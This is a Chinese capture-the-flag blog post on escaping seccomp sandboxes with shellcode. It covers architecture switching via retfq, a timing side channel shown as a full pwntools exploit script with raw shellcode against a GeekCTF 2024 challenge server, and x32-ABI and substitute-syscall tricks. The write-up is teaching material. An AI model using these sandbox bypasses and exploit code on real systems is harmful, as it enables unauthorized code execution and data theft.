Tricks of Shellcode

最近打了挺多比赛,碰到一些比较有意思的题和方法

shellcode的题往往都是加了一些乱七八糟的限制。一般要么限制字符,要么开沙箱。限制字符基本上就通过手搓或者alpha3之类的工具实现,这里讲一些绕过沙箱的办法。

切换架构

题目不仅禁止getshell,甚至限制了orw,如果沙箱没有对系统架构进行检查,就可以使用切换架构的方式。

原理是沙箱通过检测系统调用号判断是否放行,而64位和32位架构下的系统调用号又不相同,切换到另一种架构,就能实现绕过黑名单检查

这种手法听起来很炫酷,操作却相当简单

程序运行时的架构,是由cs寄存器控制的。cs=0x23为32位模式,cs=0x33为64位模式。而retfq指令就能实现对cs的赋值

retfq包含retpop cs两步,也就是先后pop ripcs,所以一般可以像这样写:

1
2
3
4
mov rsp, 0x40404040 #arbitrary stack
push 0x23 #or 0x33
push 0x401145 #next shellcode
retfq

注意这里需要设置rsp,这是因为切换到32位时,寄存器也会被切成32位,所以需要预先调整栈顶的指针

另外我在操作时发现ret后的地址似乎有一定要求。起初我直接跳到下一条shellcode上,但会在retfq时崩溃,后来我ret到代码段里调用shellcode的地址,再提前设置好寄存器,顺利解决了这个问题

侧信道/时间盲注

在只能read或open的情况下,无法直接orw获得flag。这时可以构造shellcode,利用远端进程状态的不同,获得一个bit的信息。例如读入flag后逐个字符与预期字符进行比较,如果命中则无限循环,未命中则退出进程。更好的方法是二分法,以下以geekctf2024中的shellcode为例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import*
import os

context(os = 'linux', arch = 'amd64', log_level = 'info', terminal = ['tmux', 'new-window'])

def debug(cmd = ''):
if len(sys.argv)!=1:
return
cmd += """
b main
bp 0x13d1
"""
gdb.attach(p, cmd)
pause()

if __name__ == '__main__':
flag = "flag{practice_handwrite_shellcode}"
#flag{praatice_hand_rite_rhdkgco?e}
count = 1
for i in range (len(flag),0x40):
left = 0
right = 127
while left < right:
mid = (left + right)>>1
global p
p = remote("chall.geekctf.geekcon.top", 40245)
# p = process("./shellcode")

# shellcode = '''xor rax,rax
# pop rbx
# pop rdx
# pop rbx
# push 1
# nop
# pop rbx
# add rsi, rbx
# /* even */
# pop rcx
# sub [rsi + 0x11], bx
# /* odd */
# '''
p.recvuntil(b"Please input your shellcode:")
# pl = asm(shellcode) + b"\x10\x05\x90"
p.send(b"H1\xc0[Z[j\x01\x90[H\x01\xdeYf)^\x11\x10\x05\x90")

# payload = b"\x90" * 0x18
# payload += asm(shellcraft.open("./flag"))
# payload += asm(shellcraft.read(3, 'rsp', 0x80))
payload = b"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8/.gm`f\x01\x01H1\x04$H\x89\xe71\xd21\xf6j\x02X\x0f\x051\xc0j\x03_1\xd2\xb2\x80H\x89\xe6\x0f\x05"
# print(payload)
shellcode = f'''
mov dl,byte ptr [rsp+{i}]
mov cl,{mid}
cmp dl,cl
ja loop
mov al,0x1
syscall
loop:
xor rax, rax
mov rdi, 0
mov rsi, rsp
mov rdx, 0x80
syscall
'''
payload += asm(shellcode)
sleep(4)
try:
p.sendline(payload)

start_time = time.time()
p.clean(2)
start_time = time.time() - start_time

except:
pass
else:
if start_time > 2:
left = mid +1
p.close()
else:
right = mid
p.close()
info(f"time-->{count}")
count += 1
flag += chr(left)
info(flag)
if flag[-1]=="}":
break

x32-abi绕过

x32-abi能在x86-64指令集下兼容使用32位指针,避免对64位指针的开销,它的系统调用号如下

1
cat /usr/include/x86_64-linux-gnu/asm/unistd_x32.h

其中大部分的系统调用号都与x64相差一个标志为,通常为0x40000000,例如在缺少open时可以调用0x4000000

者行孙

你就说是不是一个东西吧

没有open的可以用openat代替

没有read的可以用pread64/writev代替

read, pread64, readv, preadv, preadv2系统调用

使用socket

EX的博客